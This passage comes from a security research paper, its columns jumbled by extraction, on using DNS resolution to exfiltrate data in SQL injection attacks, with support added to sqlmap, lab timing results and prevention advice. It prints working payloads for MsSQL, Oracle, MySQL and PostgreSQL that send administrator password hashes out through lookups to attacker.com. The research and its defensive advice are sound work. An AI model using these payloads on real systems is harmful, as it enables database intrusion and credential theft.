sys.sql_logins WHERE name='sa') +'.attacker.com'; For example, to start content retrieval from a page located at http://test.example.com/index.php run: EXEC('master..xp_dirtree "'+@host+'foobar$"'); SELECT HTTPURITYPE('http://test.example.com/index. This precalculation form is used because the extended php').GETCLOB() FROM DUAL; stored procedures don't accept subqueries as given parameter values. Hence the usage of temporary variable for storing results of SQL query. 7 Oracle is only DBMS which doesn't need UNC file path formatting for 5 provoking DNS requests, making attacks usable on both Windows and In comparison with master..xp_dirtree(), master..xp_subdirs() returns Linux back-end platforms only those directories with depth 1 8 There are also other similar instance methods of class HTTPURITYPE 6 Other described MsSQL's extended stored procedures can be used that can be used for this paper's purpose (e.g. GETBLOB(), exactly the same way GETCONTENTTYPE() and GETXML()) [14]
  • 4. 4.2.4 DBMS_LDAP.INIT 4.4 PostgreSQL Package DBMS_LDAP enables PL/SQL programmers to access data from Lightweight Directory Access 4.4.1 COPY Protocol (LDAP) servers. It's INIT() procedure is used to PostgreSQL's statement COPY copies data between a initialize a session with the LDAP server: filesystem files and a table: DBMS_LDAP.INIT(('<host>',<port>) COPY <table>(<column>,...) FROM '<path>' For example, to initialize a connection with the host For example, to copy the content from a file located at test.example.com run: C:WindowsTempusers.txt to a table named users SELECT containing single column names run11: DBMS_LDAP.INIT(('test.example.com',80) FROM COPY users(names) FROM DUAL; 'C:WindowsTempusers.txt' Attackers can use any of mentioned Oracle subroutines to provoke DNS requests. However, starting 4.4.2 Example with Oracle 11g, subroutines which could cause network What follows is the example where system access are restricted, except the DBMS_LDAP.INIT() administrator's (postgres) password hash is being pushed [15][16]. through DNS resolution mechanism by usage of a PostgreSQL's statement COPY: 4.2.5 Example DROP TABLE IF EXISTS table_output; What follows is the example where system CREATE TABLE table_output(content text); administrator's (SYS) password hash is being pushed through DNS resolution mechanism by usage of Oracle's CREATE OR REPLACE FUNCTION procedure DBMS_LDAP.INIT()9: temp_function() SELECT DBMS_LDAP.INIT((SELECT password RETURNS VOID AS $$ FROM SYS.USER$ WHERE DECLARE exec_cmd TEXT; name='SYS')||'.attacker.com',80) FROM DUAL; DECLARE query_result TEXT; 4.3 MySQL BEGIN SELECT INTO query_result (SELECT passwd 4.3.1 LOAD_FILE FROM pg_shadow WHERE usename='postgres'); MySQL's function LOAD_FILE() reads the file exec_cmd := E'COPY table_output(content) content and returns it as a string: FROM E''||query_result|| E'.attacker.comfoobar.txt''; LOAD_FILE('<filepath>') EXECUTE exec_cmd; For example, to get the content of a file located at END; C:Windowssystem.ini run10: $$ LANGUAGE plpgsql SECURITY DEFINER; SELECT LOAD_FILE('C:Windowssystem.ini'); SELECT temp_function(); This precalculation form is used because the SQL 4.3.2 Example statement COPY doesn't accept subqueries. Also, in What follows is the example where system PostgreSQL variables have to be explicitly declared and administrator's (root) password hash is being pushed used inside the subroutine scope (function or procedure). through DNS resolution mechanism by usage of MySQL's Hence the usage of user-defined stored function. function LOAD_FILE(): SELECT LOAD_FILE(CONCAT('',(SELECT 5 Implementation password FROM mysql.user WHERE user='root' As mentioned, SQL injection tool sqlmap has been LIMIT 1),'.attacker.comfoobar')); chosen, mostly because author of this paper is also one of 9 it's developers, and upgraded to support DNS exfiltration. Other described Oracle's procedures can be used exactly the same way New command line option --dns-domain has been added if the execution rights haven't been revoked 10 11 Backslash character () has to be escaped as it has the special meaning Backslash character () has to be escaped as it has the special meaning in MySQL in PostgreSQL
  • 5. as a minimal requirement for the new program's their speed and lack of special requirements. Hence, only workflow. With it user is able to turn on the DNS when slow inference techniques are available and option exfiltration support and is informing sqlmap that the all --dns-domain has been explicitly set by the user, sqlmap provoked DNS resolution requests should point toward will turn on the support for DNS exfiltration. the given domain (e.g. --dns-domain=attacker.com). Each resulting DNS resolution request is being Domain's name server entry (e.g. ns1.attacker.com) encoded to a hexadecimal form to comply with RFC 1034 has to contain the IP address of a machine running the [17], a (de-facto) standard for DNS domain names. That sqlmap instance. From there, sqlmap is being run as a way all eventual non-word characters are being preserved. fake name server providing valid (but dummy) responses Also, hexadecimal representation of longer SQL query for the provoked incoming DNS resolution requests. results is being split into parts. That has to be done as Dummy resolution response is being served just to each node's label (e.g. .example.) inside a full domain unblock the waiting web server instance, without caring name is limited to 63 characters in length. for the results, as program is not processing the web page content itself. 6 Experimental setup and results For each item being dumped, sqlmap is sending a For experimental purposes three machines were crafted SQLi DNS exfiltration vector inside a normal configured and used: HTTP request, while in background serving and logging all incoming DNS requests. As each malicious SQL query 1) Attacker (172.16.138.1) – physical machine with result is being enclosed with unique and randomly chosen Ubuntu 12.04 LTS 64-bit OS running latest prefix and suffix strings, it's not difficult to distinguish sqlmap v1.0-dev (r5100)12 which DNS resolution request comes from which SQLi 2) Web Server (172.16.138.129) – virtual machine DNS exfiltration vector. Also, with those random with Windows XP 32-bit SP1 OS running a enclosings any possible DNS caching mechanism is XAMPP 1.7.3 instance containing deliberately cancelled, practically forcing required recursive DNS SQLi vulnerable MySQL/PHP web application resolution. 3) DNS Server (172.16.138.130) – virtual machine Support for DBMSes MsSQL, Oracle, MySQL and with CentOS 6.2 64-bit OS running a BIND PostgreSQL has been fully implemented. But, as mentioned earlier, only Oracle is able to support the For virtual environment VMware Workstation 8.0.2 attack on both Windows and Linux back-end platforms, has been used. All tests were conducted inside a local as others require support for handling of Windows UNC virtual network (172.16.138.0/24). Attacker machine has file format paths. been used to conduct attacks against the vulnerable Web Server machine. DNS Server machine has been used to During the sqlmap run, union and error-based handle DNS resolution requests for attacker.com domain techniques have the highest priority, primary because of coming from Web Server machine and forward them to Attacker machine as it's registered name server. All sqlmap supported techniques were tested, together with the newly implemented DNS exfiltration. Number of HTTP requests and time spent were measured, where the content of the system table information_schema. COLLATIONS was being dumped (around 4KB in size). Table 1. Speed comparison of SQLi techniques Method # of requests Time (sec) Boolean-based blind 29,212 214.04 Time-based (1 sec) 32,716 17,720.51 Error-based 777 9.02 Union (full/partial) 3/136 0.70/2.50 DNS exfiltration 1,409 35.31 Figure 2: DNS exfiltration in SQLi attack 12 DNS exfiltration support is officially available in sqlmap development version (v1.0-dev) starting with r5086 [1]
  • 6. 7 Discussion 8 Prevention tips From results given in Table 1 it can be seen that the To avoid attacks described in this paper prevention of inband techniques (union and error-based) were the SQLi flaws must have the highest priority. Usage of fastest ones, while inference techniques (boolean-based prepared statements15 is considered to be the safest blind and time-based) were the slowest. DNS exfiltration precaution [18]. Prepared statements ensure that attackers was, as expected, slower than the slowest inband (error- are not able to change the intent of a query, even if other based) while faster than the fastest inference technique SQL commands are being inserted [19]. (boolean-based blind). Time-based technique was clearly Various sanitization mechanisms like magic_quotes() too slow13. and addslashes() can't completely prevent the presence or In real life scenarios all techniques would inherently exploitation of a SQLi vulnerability, as certain techniques experience additional delay per each request because of used in conjunction with environmental conditions could connection latency and time needed for loading of normal allow attackers to exploit the vulnerability [20][21]. sized pages. In used SQLi vulnerable page a small table Instead, if prepared statements are not used, it's has been returned making connection reads extremely recommended to use input validation with bad input being fast. Also, in real life scenarios unwanted connection rejected, rather than escaped or modified [22]. latency would just introduce a need for a higher time- Administrator should always be prepared for the delay14 value in time-based technique making dumping unauthorized access to the underlying database. Good process even more slower for those kind of cases. counter-measure is the restriction of all database access to There is also a fact that in real life scenario DNS the least privilege. Thus, any given privilege should be exfiltration technique would get an additional delay granted to the least amount of code necessary for the introduced with usage of non-local network based DNS shortest duration of time that is required to get the job servers. Nevertheless, difference between it and inference done [23]. Following that principle, users must be able to techniques would stay at considerable ratio because later access only the information and resources that are will need more time to retrieve the same data because of absolutely necessary. inevitable higher number of requests. As the last step, for successful mitigation of eventual All in all, numbers for DNS exfiltration technique look DNS exfiltration attacks, administrator has to make sure quite promising, making it a perfect alternative for that the execution of all unnecessary system subroutines is inference methods. being constrained. If everything fails, attackers mustn't be able to run those that could provoke DNS requests. There has been some work in field of detecting malicious activities in DNS traffic [25][26], but mostly because of lack of practical and mainstream solutions, those won't be specially mentioned here. 9 Conclusion In this paper, it has been shown how attackers can use DNS exfiltration technique to considerably speed up the data retrieval when only relatively slow inference SQLi techniques are usable. Also, number of required requests toward vulnerable web server is drastically reduced making it less noisy. Due to a requirement for controlling of a domain's name server, it probably won't be used by majority of attackers. From implementation point of view everything Figure 3: Traffic capture of sqlmap run with DNS exfiltration was straightforward, hence it's practical value is not to be ignored. Implemented support inside a sqlmap should make it publicly available to all for further research. 13 That's the primary reason why majority of attackers just skip cases where that's the only usable technique 14 15 To properly distinguish delayed and regular response times Also referred to as parameterized queries
  • 7. References http://docs.oracle.com/cd/B10501_01/appdev. 920/a96616.pdf [1] sqlmap – automatic SQL injection and database [15] Hacking Oracle From Web Apps, Sumit Siddharth, takeover tool, Bernardo Damele A. G., Miroslav Štampar, Aleksander Gorkowienko, 7Safe, DEF CON 18, http://www.sqlmap.org/ November 2010, [2] Exfiltration: How Hackers Get the Data Out, Jart https://www.defcon.org/images/defcon-18/dc- Armin, May 2011, 18-presentations/Siddharth/DEFCON-18- http://news.hostexploit.com/cybercrime- Siddharth-Hacking-Oracle-From-Web.pdf news/4877-exfiltration-how-hackers-get-the- [16] Exploiting PL/SQL Injection With Only CREATE data-out.html SESSION Privileges in Oracle 11g, David Litchfield, An [3] Wireshark - network protocol analyzer, Wireshark NGSSoftware Insight Security Research Publication, Foundation, October 2009, https://www.wireshark.org/ http://www.databasesecurity.com/Exploi [4] The Rootkit Arsenal: Escape and Evasion in the Dark tingPLSQLinOracle11g.pdf Corners of the System, Bill Blunden, WordWare [17] RFC 1034: Domain Names – Concepts and Publishing, Inc., 2009 Facilities, Paul Mockapetris, November 1987, [5] DNS as a Covert Channel Within Protected Networks, https://www.ietf.org/rfc/rfc1034.txt Seth Bromberger , National Electric Sector Cyber [18] SQL Injection Prevention Cheat Sheet, Open Web Security Organization (NESCO), January 2001, Application Security Project, March 2012, http://energy.gov/sites/prod/files/oeprod/D https://www.owasp.org/index.php/SQL_Injecti ocumentsandMedia/DNS_Exfiltration_2011-01- on_Prevention_Cheat_Sheet 01_v1.1.pdf [19] Parametrized SQL statement, Rosetta Code, August [6] Data-mining with SQL Injection and Inference, David 2011, Litchfield, An NGSSoftware Insight Security Research http://rosettacode.org/wiki/Parametrized_SQ Publication, September 2005, L_statement http://www.nccgroup.com/Libraries/Document_ [20] SQL Injection Attacks and Defense, Justin Clarke, Downloads/Data- Syngress, 2009 Mining_With_SQL_Injection_and_Inference.sfl [21] addslashes() Versus mysql_real_escape_string(), b.ashx Chris Shiflett, January 2006, [7] Advanced SQL Injection, Joseph McCray, February http://shiflett.org/blog/2006/jan/addslashe 2009, s-versus-mysql-real-escape-string http://www.slideshare.net/joemccray/Advance [22] Advanced SQL Injection, Victor Chapela, Sm4rt dSQLInjectionv2 Security Services, OWASP, November 2005, [8] SQL Injection and Data Mining through Inference, https://www.owasp.org/images/7/74/Advanced_ David Litchfield, BlackHat EU, 2005, SQL_Injection.ppt https://www.blackhat.com/presentations/bh- [23] Security Overview (ADO.NET), MSDN, Microsoft, europe-05/bh-eu-05-litchfield.pdf 2012., [9] SQL – Injection & OOB – channels, Patrik Karlsson, http://msdn.microsoft.com/en- DEF CON 15, August 2007, us/library/hdb58b2f.aspx https://www.defcon.org/images/defcon- [24] The Web Application Hacker's Handbook: Finding 15/dc15-presentations/dc-15-karlsson.pdf and Exploiting Security Flaws, Dafydd Stuttard, Marcus [10] The TCP/IP Guide: A Comprehensive, Illustrated Pinto, John Wiley & Sons, 2011 Internet Protocols Reference, Charles M. Kozierok, No [25] Detecting DNS Tunnels Using Character Frequency Starch Press, 2005 Analysis, Kenton Born, Dr. David Gustafson, Kansas [11] How DNS query works, Microsoft TechNet, January State University, April 2010, 2005, http://arxiv.org/pdf/1004.4358.pdf http://technet.microsoft.com/en- us/library/cc775637(v=ws.10).aspx [26] Finding Malicious Activity in Bulk DNS Data, Ed [12] Microsoft Windows 2000 DNS: Implementation and Stoner, Carnegie Mellon University, 2010, www.cert.org/archive/pdf/research-rpt- Administration, Kevin Kocis, Sams Publishing, 2001 2009/stoner-mal-act.pdf [13] Useful undocumented extended stored procedures, Alexander Chigrik, 2010, http://www.mssqlcity.com/Articles/Undoc/Und ocExtSP.htm [14] Oracle9i XML API Reference - XDK and Oracle XML DB (Release 2), Oracle Corporation, March 2002,